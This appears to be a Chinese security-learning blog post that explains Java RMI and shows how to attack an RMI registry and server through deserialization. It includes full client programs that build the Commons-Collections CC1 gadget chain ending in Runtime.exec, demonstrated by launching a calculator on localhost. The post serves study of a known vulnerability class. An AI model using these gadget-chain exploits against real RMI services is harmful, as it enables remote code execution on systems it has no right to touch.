RMI反序列化学习

RMI学习

1、RMI简介

RMI(Remote Method Invocation),远程方法调用方法,其实就是本地java虚拟机要调用其他java虚拟机的方法,两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

如果复现过fastjson漏洞就知道我们的payload经常会携带rmi、jndi等协议。而且对于jdk的版本有要求

基于RMI利用的JDK版本<=6u141、7u131、8u121
基于LDAP利用的JDK版本<=6u211、7u201、8u191

RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。

2、RMI的组成部分

Client-客户端:客户端调用服务端的方法

Server-服务端:远程调用方法对象的提供者

Registry-注册中心:RMI Server可以在上⾯注册⼀个Name到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server,最后也是代码真正执行的地方。

3、RMI的调用过程

3.1、server部署
Server向Registry注册远程对象,远程对象绑定在一个`//hostL:port/objectname`上,形成一个映射表(Service-Stub)
3.2、Client调用
1. Client向Registry通过RMI地址查询对应的远程引用(Stub)。这个远程引用包含了一个服务器主机名和端口号。
2. Client拿着Registry给它的远程引用,照着上面的服务器主机名、端口去连接提供服务的远程RMI服务器
3. Client传送给Server需要调用函数的输入参数,Server执行远程方法,并返回给Client执行结果。

客户端会通过Stub序列化数据后传输给服务端,服务端会把客户端传输过来的内容反序列化执行。前提是传输的是可序列化对象(Object)

img

图是用的https://paper.seebug.org/1251/#jdk

4、RMI的基础运用

Server

1、首先要实现一个继承了Remote的接口,并且要抛出RemoteException异常,并且远程调用的方法的修饰符为public,此处的work方法主要用于反序列化利用

package com.akkacloud.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {

    public String getName() throws RemoteException;

}

2、编写这个接口的实现类,还需要继承UnicastRemoteObject类,大部分方法都是因为继承了UnicastRemoteObject所以实现的

package com.akkacloud.rmi;

import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements User{

    public String name;
    protected UserImpl() throws RemoteException{
        super();
    }

    @Override
    public Object clone() throws CloneNotSupportedException {
        return super.clone();
    }

    protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
        super(port, csf, ssf);
    }

    protected UserImpl(int port) throws RemoteException {
        super(port);
    }

    public UserImpl(String name) throws RemoteException {
        this.name = name;
    }


    @Override
    public String getName() throws RemoteException {
        return name;
    }
    


}

3、编写服务器类

创建服务器实例,并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中

package com.akkacloud.rmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        UserImpl user = new UserImpl("akka");
        //创建注册中心,设置端口为1234
        Registry registry = LocateRegistry.createRegistry(1234);
        System.out.println("registry is runing.....");
        //绑定user对象到名字叫user下
        registry.bind("user", user);
        System.out.println("user is bing");

    }
}

4、编写客户端类

package com.akkacloud.rmi;

import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("localhost", 1234);
        User user = (User)registry.lookup("user");
        System.out.println(user.getName());
    }
}

先开启服务端

image-20220406235520482

再开启客户端调用远程方法

image-20220406235548988

5、RMI的反序列利用

有几种攻击手段,这里只弄了两种客户端攻击的案列,具体可以学习https://paper.seebug.org/1251/#java-rmi-

5.1、客户端攻击注册中心。

需要指定注册的方法bind & rebind

需要使用到RM进行反序列化攻击需要两个条件:RMI的服务端存在执行命令利用链,这里用的是cc1。还有就是jdk版本我用的jdk8u66和commons-collections3.1成功弹窗

服务端的代码不用改变

客户端代码修改如下

package com.akkacloud.rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
        HashMap innermap = new HashMap();
        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        Map map = (Map)constructor.newInstance(innermap,chain);


        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象


        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1234);
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[] { Remote.class }, handler));
        registry.bind("test",r);
    }
    
}

image-20220407004313431

handler是InvocationHandler对象,所以这里在反序列化时会调用InvocationHandler对象的invoke方法,具体就是cc1的相关内容不同的可以学习cc1

5.2、客户端攻击服务端

如果服务端存在接受Object参数的方法时,当服务端接收数据时,就会调用readObject,当然也要存在利用链。

首先我们在服务端添加上 接受Object方法的参数,当客户端调用这个方法时候,服务端会对其传递的参数进行反序列化

接口User添加接受Object类型的方法

package com.akkacloud.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {

    public String getName() throws RemoteException;
    public void addUser(Object user)throws RemoteException;
}

实现类UserImpl添加方法

package com.akkacloud.rmi;

import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements User{

    public String name;
    protected UserImpl() throws RemoteException{
        super();
    }

    @Override
    public Object clone() throws CloneNotSupportedException {
        return super.clone();
    }

    protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
        super(port, csf, ssf);
    }

    protected UserImpl(int port) throws RemoteException {
        super(port);
    }

    public UserImpl(String name) throws RemoteException {
        this.name = name;
    }


    @Override
    public String getName() throws RemoteException {
        return name;
    }

    @Override
    public void addUser(Object user) throws RemoteException{
        System.out.println("addsuer:"+this.name);
    }


}


服务端一样

package com.akkacloud.rmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        UserImpl user = new UserImpl("akka");
        //创建注册中心,设置端口为1234
        Registry registry = LocateRegistry.createRegistry(1234);
        System.out.println("registry is runing.....");
        //绑定user对象到名字叫user下
        registry.bind("user", user);
        System.out.println("user is bing");


    }
}

客户端代码

package com.akkacloud.rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});
        HashMap innermap = new HashMap();
        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        Map map = (Map)constructor.newInstance(innermap,chain);


        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象


        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1234);
        User user = (User) registry.lookup("user");
        user.addUser(handler);
    }


}

image-20220407012853765

参考链接

https://paper.seebug.org/1251/#registry

https://xz.aliyun.com/t/6660#toc-2

https://www.cnblogs.com/nice0e3/p/13927460.html

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